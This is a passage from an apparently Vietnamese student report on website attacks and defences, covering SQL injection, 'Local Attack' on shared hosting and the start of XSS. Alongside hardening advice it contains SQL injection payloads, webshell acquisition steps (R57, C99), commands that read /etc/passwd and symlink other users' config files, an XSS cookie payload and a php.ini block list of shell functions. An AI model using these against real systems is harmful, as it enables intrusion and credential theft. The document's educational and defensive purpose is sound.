  • 12. CHƯƠNG II: NGHIÊN CỨU CÁC HÌNH THỨC TẤN CÔNG VÀ GIẢI PHÁP BẢO MẬT WEBSITE. 2.1 SQL Injection 2.1.1. Tìm hiểu về SQL Injection. 2.1.1.1. SQL Injection là gì? SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. 2.1.1.2. Các Dạng Tấn Công SQL Injection Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures. Để biết các website sử dụng CSDL SQL ta sử dụng các phần mềm hoặc các công cụ tìm lỗi. Hoặc các công cụ tìm kiếm như Google. Và dùng các từ khóa tìm kiếm như : inurl : product.php?id=
  • 13. Hình 2.1. Một công cụ tìm Lổi SQL Injection. Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau thanh địa chỉ. Ví dụ : http://www.doanchuyenganh.com/product.php?id=123’ Hình 2.2. Một site bị lổi SQL Injection. 2.1.2. Tấn công SQL Injection. 2.1.2.1. Dạng tấn công vượt qua kiểm tra đăng nhập Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng Web. Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang Web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng.
  • 14. 2.1.2.2. Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này. Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất hợp pháp. 2.1.2.3. Dạng tấn công sử dụng câu lệnh INSERT Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. 2.1.2.4. Dạng tấn công sử dụng stored-procedures Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân: o Xp_availablemedia: Hiển thị những ổ đĩa hiện hành trên máy o Xp_dirtree: Hiển thị tất cả các thư mục kể cả thư mục con o Xp_loginconfig: Lấy thông tin về chế độ bảo mật trên server o Xp_makecab: Cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay bất cứ tập tin nào mà server có thể truy xuất o Xp_ntsec_enumdomain: liệt kê những domain mà server có thể truy vấn. o Xp_terminate_process: chấm dứt một tiến trình với tham số PID của nó. 2.1.2.4. Tấn công SQL Injection nâng cao. • Chuỗi kí tự không có dấu nháy đơn:
  • 15. username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) {… Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy. • Tấn công 2 tầng: Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn đoạn mã SQL . Ví dụ b.1: Để đăng kí account trong ứng dụng, nhập username như sau: Username: admin'— Password: passofadmin Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau: INSERT into User VALUES(123, 'admin''--', 'password',0xffff) (nhưng trong cơ sở dữ liệu sẽ lưu là “admin’--“) Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới. Đoạn mã như sau: Câu truy vấn thiết lập mật khẩu mới như sau: rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin’-- Câu truy vấn lúc này như sau: sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'" update users set password = 'password' where username = 'admin'--'
  • 16. Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình. Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những kí tự này. Ví dụ: O’Brien. Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn. Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ. Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng. Ví dụ : Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự.Nhập: Username: aaaaaaaaaaaaaaa’ Password :‘; shutdown-- Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ bị xoá mất. Câu lệnh SQL như sau: Select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown—‘ kết quả là username trong câu lệnh có giá trị là: aaaaaaaaaaaaaaa’ and password=’ 2.1.2 Cách Phòng Tránh SQL Injection Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
  • 17. • Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng. • Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng. • Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. Hãy loại bỏ các kí tự meta như “',",/,,;“ và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ: + Dữ liệu nhập do người dùng đệ trình + Các tham số từ URL + Các giá trị từ cookie • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấnSQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. • Dùng thuật toán để mã hoá dữ liệu 2.1.2.1 Kiểm tra dữ liệu Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích. Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng với ví dụ mẫu để minh hoạ cho vấn đề này. Có ba giải pháp tiếp cận vấn đề này: 1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ. 2) Loại bỏ những dữ liệu bất hợp lệ. 3) Chỉ chấp nhận những dữ liệu hợp lệ • Giải pháp 1: khó thực hiện - Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ, bởi vì những dạng dữ liệu bất hợp lệ rất đa dạng. - Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL injection) trong việc lấy dữ liệu từ hệ thống ra. • Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do : - Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn
  • 18. công mới. • Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài đặt. - Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự “--“ là một chuỗi kí tự đặc biệt trong SQL server. - Ví dụ nếu có bộ lọc để : + Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’ + Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau. uni’on se’lect @@version-‘- - Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản • Cách 1: Từ chối dữ liệu bất hợp lệ. • Cách 2: Thay thế dấu nháy đơn. • Cách 3: Chỉ chấp nhận dữ liệu hợp lệ 2.1.2.2. Khoá chặt SQL Server (SQL Server Lockdown) Đây là một danh sách các công việc cần làm để bảo vệ SQL server: • Xác định các phương pháp kết nối đến server: + Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang dùng là hoat động. • Kiểm tra tất cả các tài khoản có trong SQL Server + Chỉ tạo tài khoản có quyền thấp cho các ứng dụng + Loại bỏ những tài khoản không cần thiết + Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, … • Kiểm tra các đối tượng tồn tại + Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn. Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin .dll chứa mã của các extended stored procedure + Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs” + Xóa các stored procedure không dùng như: master..xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask • Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào + Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nó cần dùng. Kiểm tra lớp sửa chữa của server
  • 19. + Có một số cách tấn công như “buffer overflow”, “format string” thường chú ý đến lớp bảo vệ này. • Kiểm tra các phiên làm việc trên server • Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp trong SQL Server Security. - Nhận xét: + Qua phần tìm hiểu về SQL Injection,càng thấy rằng việc kiểm tra dữ liệu trước khi xử lý là cần thiết. + Ứng dụng ngoài việc kiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu ngay bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp SQL để hacker không thể thu thập thông tin cơ sở dữ liệu. - Song song đó là công việc của người quản trị mạng. 2.1.2.2. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít. Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống. 2.2 Local Attack 2.2.1. Tìm hiểu về Local Attack Local attack là một trong những kiểu hack rất phổ biến và có mức độ nguy hiểm rất cao. Đối một web server thông thường khi bạn đăng ký một tài khoản trên server nào đó bạn sẽ được cấp một tài khoản trên server đó và một thư mục để quản lý site của mình. Ví dụ : tenserver/tentaikhoancuaban. Và như vậy cũng có một tài khoản của người dùng khác tương tự như : tenserver/taikhoan1.Giả sử tài khoản1 bị hacker chiếm được thì hacker có thể dùng các thủ thuật,các đoạn scrip,các đoạn mã lệnh để truy cập sang thư mục chứa site của bạn là tenserver/taikhoancuaban. Và cũng theo cách này hacker có thể tấn công sang các site của người dùng khác và có thể lấy thông tin admin,database,các thông tin bảo mật khác hoặc chèn các đoạn mã độc vào trang index của site bạn. Dạng tấn công trên gọi là Local Attack.
  • 20. Thông thường nhất, Local Attack được sử dụng để đọc lấy thông tin config từ victim, sau đó dựa vào thông tin ở config và mục đích của hacker để phá hoại Website 2.2.2. Tấn công bằng Local Attack. Để thực hiện tấn công Local Attack, tùy theo cách thức của hacker mà có những cách Local khác nhau. Thông thường thì các hacker thường sử dụng các đoạn lệnh để tấn công vào database. 2.2.2.1. Chuẩn bị Trước tiên phải có một con PHP/ASP/CGI backdoor trên server. Backdoor thì có rất nhiều loại khác nhau nhưng phổ biến nhất là phpRemoteView (thường được gọi là remview) R57Shell, CGITelnet, C99,…Tiến hành upload các công cụ ở trên lên, thường là các con shell như R57,C99,… Upload một trong những công cụ đó lên host (Thường thì chúng ta sử dụng các con shell R57,C99,.. vì nó mạnh và dễ sử dụng) Để có host chúng ta có nhiều cách: + Mua host ngay trên server. + Hack một trang bị lỗi và upload shell lên (thường thì hacker sử dụng SQL Injection để hack một trang web và chiếm tài khoản admin của trang web đó và upload các con shell lên)hoặc khai thác lỗi inclusion + Search backdoor (Vào google.com search keyword: <?phpRemoteView?> , r57Shell ...). Vói cách này thì hầu hết các con shell là của các hacker đã sử dụng và chưa bị xóa, nếu được thì chúng ta nên upload cho chúng ta một con shell khác 2.1.2.2.Tiến hành Attack Sau khi đã upload được shell code lên một server nào đó. Hacker bắt đầu tìm các website cùng server với website chứa shell code, thông thường các Hacker thường sử dụng Reverse Ip domain mà Hacker đã upload shell để xem các website cùng server Sau khi tìm được danh sách website ,lần lượt check xem site nào bị lỗi và có thể local sang được Các lệnh thường dùng trong shell để Local Attack Xem tên domain trên cùng một host: ls -la /etc/valiases cd /etc/vdomainaliases;ls –lia
  • 21. Trường hợp đặc biệt khi không thể xem user nằm cùng host thì ta thêm && vào Muốn biết tên user thì dùng lệnh : Hoặc: Local sang victim, tức là di chuyển sang site khác Muốn biết tên user cần local sang thì chúng ta sử dụng Reverse Ip để lấy danh sách user trên cùng một server.Muốn biết user đó có tồn tại hay không chúng ta mở trình duyệt web lên và đánh đoạn : Ip của server/~ tên user (Ví dụ : 203.166.222.121/~doanchuyennganh). Nếu trình duyệt hiện lên trang index của website thì tức là user đó tồn tại +Xem nội dung của file: Hoặc Chúng ta muốn xem config của 1 diễn đàn dung mã nguồn Vbulletin thì dung: Với doanchuyennganh.txt ở đây là file chúng ta tạo ra trên host của chúng ta để xem file của người khác. Nếu không sử dụng được các lệnh trên tức là server đã disable chức năng đó. Thêm 1 số lệnh shell trong linux : - pwd: đưa ra ngoài màn hình thư mục đang hoạt động (ví dụ: /etc/ssh). - cd: thay đổi thư mục (ví dụ: cd .. – ra một cấp thư mục hiện tại; cd vidu – vào thư mục /vidu). - ls: đưa ra danh sách nội dung thư mục. - mkdir: tạo thư mục mới (mkdir tên_thumuc). - touch: tạo file mới (touch ten_file). - rmdir: bỏ một thư mục (rmdir ten_thumuc). - cp: copy file hoặc thư mục (cp file_nguồn file_đích). cd /etc/vdomainaliases && ls –lia cat /etc/passwd/ less /etc/passwd cat /home/tên user cần local/public_html/index.php ln -s /home/tên user cần local/public_html/forum/includes/config.php doanchuyennganh.txt
  • 22. - mv: di chuyển file hoặc thư mục; cũng được dùng để đặt lại tên file hoặc thư mục (mv vị_trí_cũ vị_trí_mới hoặc mv tên_cũ tên_mới). - rm: loại bỏ file (rm tên_file). - Để tìm kiếm file, bạn có thể dùng: - find : dùng cho các tên file. - grep <>: để tìm nội dung trong file. Để xem một file, bạn có thể dùng: - more : hiển thị file theo từng trang. - cat <>: hiển thị tất cả file. - Nếu muốn kết nối tới một host từ xa, sử dụng lệnh ssh. Cú pháp là ssh <tên_host>. Quản lý hệ thống: - ps: hiển thị các chương trình hiện thời đang chạy (rất hữu ích: ps là cái nhìn toàn bộ về tất cả các chương trình). - Trong danh sách đưa ra khi thực hiện lệnh ps, bạn sẽ thấy có số PID (Process identification - nhân dạng tiến trình). Con số này sẽ được hỏi đến khi muốn ngừng một dịch vụ hay ứng dụng, dùng lệnh kill - top: hoạt động khá giống như Task Manager trong Windows. Nó đưa ra thông tin về tất cả tài nguyên hệ thống, các tiến trình đang chạy, tốc độ load trung bình… Lệnh top -d <delay> thiết lập khoảng thời gian làm tươi lại hệ thống. Bạn có thể đặt bất kỳ giá trị nào, từ .1 (tức 10 mili giây) tới 100 (tức 100 giây) hoặc thậm chí lớn hơn. - uptime: thể hiện thời gian của hệ thống và tốc độ load trung bình trong khoảng thời gian đó, trước đây là 5 phút và 15 phút. Thông thường tốc độ load trung bình được tính toán theo phần trăm tài nguyên hệ thống (vi xử lý, RAM, ổ cứng vào/ra, tốc độ load mạng) được dùng tại một thời điểm. Nếu tốc độ được tính toán là 0.37, tức có 37% tài nguyên được sử dụng. Giá trị lớn hơn như 2.35 nghĩa là hệ thống phải đợi một số dữ liệu, khi đó nó sẽ tính toán nhanh hơn 235% mà không gặp phải vấn đề gì. Nhưng giữa các phân phối có thể khác nhau một chút. - free: hiển thị thông tin trên bộ nhớ hệ thống. - ifconfig <tên_giao_diện>: để xem thông tin chi tiết về các giao diện mạng; thông thường giao diện mạng ethernet có tên là eth(). Bạn có thể cài đặt các thiết lập
  • 23. mạng như địa chỉ IP hoặc bằng cách dùng lệnh này (xem man ifconfig). Nếu có điều gì đó chưa chính xác, bạn có thể stop hoặc start (tức ngừng hoặc khởi_động) giao diện bằng cách dùng lệnh ifconfig <tên_giao_diện> up/down. - passwd: cho phép bạn thay đổi mật khẩu (passwd người_dùng_sở_hữu_mật_khẩu hoặc tên người dùng khác nếu bạn đăng nhập hệ thống với vai trò root). - useradd: cho phép bạn thêm người dùng mới (xem man useradd). Dù ở phân phối nào, bạn cũng có thể dùng phím TAB để tự động hoàn chỉnh một lệnh hoặc tên file. Điều này rất hữu ích khi bạn quen với các lệnh. Bạn cũng có thể sử dụng các phím lên, xuống để cuộn xem các lệnh đã nhập. Bạn có thể dùng lệnh đa dòng trên một dòng. Ví dụ như, nếu muốn tạo ba thư mục chỉ trên một dòng, cú pháp có thể là: mkdir thư_mục_1 ; mkdir thư_mục_2 ; mkdir thư_mục_3. Một điều thú vị khác nữa là các lệnh dạng pipe. Bạn có thể xuất một lệnh thông qua lệnh khác. Ví dụ: man mkdir | tail sẽ đưa ra thông tin các dòng cuối cùng trong trang xem "thủ công" của lệnh mkdir. Nếu lúc nào đó được yêu cầu phải đăng nhập với tài khoản gốc (tức "siêu" admin của hệ thống), bạn có thể đăng nhập tạm thời bằng cách dùng lệnh su. Tham số -1 (su-1) dùng để thay đổi thư mục chủ và cho các lệnh đã hoặc đang dùng. Chú ý là bạn cũng sẽ được nhắc một mật khẩu. Để thoát hay đóng : gõ exit hoặc logout. 2.2.3. Phương pháp phòng chống Local Attack. Để hạn chế Local Attack, chúng ta nên Chmod filemanager ,di chuyển file config.php và sửa đổi file htaccess và nhất là thường xuyên backup dữ liệu. -Chmod File Manager:
  • 24. Hình 2.3 Quyền Chmod + CHMOD thư mục Public_html thành 710 thay vì 750 mặc định việc này sẽ giúp bạn bảo vệ được cấu trúc Website của mình. +CHMOD tiếp các thư mục con (diendan (http://diendan.doanchuyennganh.com), +CHMOD thư mục diendan (http://diendan.doanchuyennganh.com) thành 701, rồi + CHMOD tiếp các thư mục con trong thư mục diendan (http://diendan.doanchuyennganh.com) thành 701 + CHMOD toàn bộ file thành 404 Với CHMOD chắc chắn khi run shell sẽ hiện ra thông báo lỗi: Attacker sẽ không view được. Ngoài ra , một số site thì bạn truy cập bằng subdomain của nó mà không là dạng doanchuyenganh.com/diendan (http://diendan.doanchuyennganh.com), cái này có nhiều ý nghĩa, nhưng trong bảo mật thì nó sẽ rất khác. + CHMOD thư mục là 701 và cố gắng đừng bao giờ CHMOD 777, có một số folder ko quan trọng, bạn có thể CHMOD 755 để có thể hiện thị đúng và đầy đủ một số nội dung trong Folder đó. Chú ý thế này, một số Server hỗ trợ CHMOD thư mục Not Acceptable An appropriate representation of the requested resource /test.php could not be found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
  • 25. được 101, nếu Server của bạn hỗ trợ cái này thì hãy sử dụng nó, vì biện pháp CHMOD này rất an toàn, đến ngay cả Owner cũng ko thể xem được cấu trúc Folder ngay cả khi vào FTP. Hiện chỉ có Server của Eshockhost.net là hỗ trợ cái này. + CHMOD File là 604 và đừng bao giờ để là 666 nếu có việc cần 666 thì chúng ta CHMOD tạm để sử dụng lúc đó, sau đó hãy CHMOD lại ngay. Đối với các Server hỗ trợ CHMOD file 404 chúng ta hãy CHMOD như vậy, ví dụ Server Eshockhost.net Thay đổi cấu trúc, tên file mặc định có chứa các thông tin quan trọng . Nếu có thể hãy thay đổi cả cấu trúc CSDL nếu bạn làm được . -Chống local bằng cách bật safe-mode (dành cho root): Như chúng ta đã biết, đối với các webshell - PHP, trong PHP Configuration có những option để hạn chế tính năng của nó (đặc biệt là r57 - tự động by pass) nên công việc đầu tiên của các root account là phải cập nhật các phiên bản PHP mới nhất và config lại php.ini : [i]PHP safe mode là phương pháp để giải quyết vấn đề bảo mật cho nhưng nơi server chia sẻ hosting cho nhiều accounts (shared-server). Nó là do thiết kế 1 cách sai lạc của từng cấp PHP. Hiện nay, nhiều người đã chọn phương pháp bật safe- mode để bảo mật, đặc biệt là các ISP Các hướng dẫn về cấu hình Security and Safe Mode : Sau đây là cách đề đặc chính cấu hình server để bật chế độ safe mode : Trong file php.ini : safe_mode: mặc định : "0" sửa dưới phân quyền : PHP_INI_SYSTEM safe_mode_gid: mặc định :"0"sửa dưới phân quyền : PHP_INI_SYSTEM safe_mode_include_dir: mặc định :NULL sửa dưới phân quyền : PHP_INI_SYSTEM safe_mode_exec_dir: mặc định :""sửa dưới PHP_INI_SYSTEM safe_mode_allowed_env_vars: mặc định :"PHP_"sửa dưới PHP_INI_SYSTEM safe_mode_protected_env_vars: mặc định :"LD_LIBRARY_PATH"sửa dưới PHP_INI_SYSTEM open_basedir: mặc định :NULL sửa dưới PHP_INI_SYSTEM disable_functions: mặc định :"" sửa dưới php.ini disable_classes : mặc định : ""sửa dưới php.ini readfile,system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, escapeshellcmd, escapeshellarg, dl, curl_exec, parse_ini_file, show_source,ini_alter, virtual, openlog
  • 26. - disabled_functions nên chứa những function sau : PHP Code - Trong script.php là : PHP Code: - Kết quả : PHP Code: Warning: readfile() has been disabled for security reasons in /docroot/script.php on line 2 - Vài lợi điểm của việc bật safe mode: - Thường khi upload file, file sẽ vào /tmp/ với những người có quyền không phải là owner. - Bật safe-mode sẽ có những bất lợi với người lập trình code PHP, do đó, họ thường có: PHP Code: -Bảo mật server apache : safe_mode = Off chuyển thành safe_mode = On <?php readfile('/etc/passwd'); ?> <?php // Kiểm tra safe mode if( ini_get('safe_mode') ){ // Code theo bật safe_mode }else{ // Code theo tắt safe_mode } ?>
  • 27. Tầm quan trọng của apache : Client (Hacker using local attack) ------> Shared server Shared Server --------------------------> Apache Apache ---------------------------------> PHP/Perl ... xử lý ... PHP/Perl (gửi kết quả) -----------------> Apache Apache (gửi kết quả) ------------------>Client
  • 28. Do đó quyền chính ở apache set .. chứ 0 hề phụ thuộc nhiều vào các application như PHP/CGI ... Cài đặt apache : Code: Theo mặc định, các process thuộc Apache chạy với chủ quyền của người dùng nobody (ngoại trừ process chính phải chạy với chủ quyền root) và GID thuộc nhóm nogroup. Ðiều này có thể dẫn đến những đe dọa bảo mật nghiêm trọng. Trong trường hợp đột nhập thành công, tin tặc có thể lấy được quyền truy dụng đến những process khác chạy cùng UID/GID. Bởi thế, giải pháp tối ưu là cho Apache chạy bằng UID/GID từ nhóm riêng biệt, chuyên chú đến software ấy thôi. Ðối với những ai quen dùng *nix hẳn không lạ gì với khái niệm UID/GID thuộc chế độ "file permission". Tuy nhiên, chi tiết này nên mở rộng một tí cho những bạn đọc chưa quen thuộc với UID/GID. Phần tạo nhóm (group) và người dùng (user) riêng cho Apache ở trên có hai chi tiết cần chú ý là: -d /dev/null: không cho phép user Apache có thư mục $HOME nhưng những user bình thường khác -s /sbin/nologin: không cho user Apache dùng bất cứ một shell nào cả. Có một số trường hợp dùng -s /bin/true thay vì nologin ở trên, true là một lệnh không thực thi gì cả và hoàn toàn vô hại. Lý do không cho phép user Apache có thư mục $HOME và không được cấp một "shell" nào cả vì nếu account Apache này bị được cho phép, tin tặc cũng không có cơ hội tiếp cận với system ở mức độ cần thiết cho thủ thuật "leo thang đặc quyền". Trên môi trường *nix nói chung, "shell" là giao diện giữa người dùng và hệ thống, không có shell thì không có cơ hội tiếp cận. Nếu phần thiết lập trên cung cấp user Apache một $HOME và cho phép dùng một shell nào đó thì đã không mang giá trị gì trên quan điểm "bảo mật". Vào http://httpd.apache.org/ cài đặt phiền bản mới nhất (hiện giờ 2.2) Khi đó ta nên set quyền của php shell riêng, nó không có quyền được nhẩy sang các user khác . Chmod trong /usr/bin như sau : pw groupadd apache pw useradd apache -c "Apache Server" -d /dev/null -g apache -s /sbin/nologin
  • 29. -rwxr--r-x root nobody wget cho -rwxr-x--- root compiler gcc Chặn biên dịch gcc, tránh để user dùng nhưng exploit sẵn biên dịch get root. Trong /bin/: - rwxr-xr-x root root cp Tương tự với rm, mv, tar, chmod, chown, chgrp... - rwsr-x--- root wheel su - rwxr-x--- root root ln 2.3. Cross Site Scripting (XSS) 2.3.1. Tìm hiểu về XSS. Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ đó chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp hoặc thực hiện những những điều Hacker muốn. Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dung bị mất thông tin một cách dễ dàng. Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân. 2.3.2. Tấn công bằng XSS 2.3.2.1 Phương pháp tấn công XSS truyền thống. Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẫu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó. Các bước thực hiện XSS truyền thống: http://doanchuyennganh.com/webmonkey/00/index1.html?tw=<script>alert (document.cookie);</script>
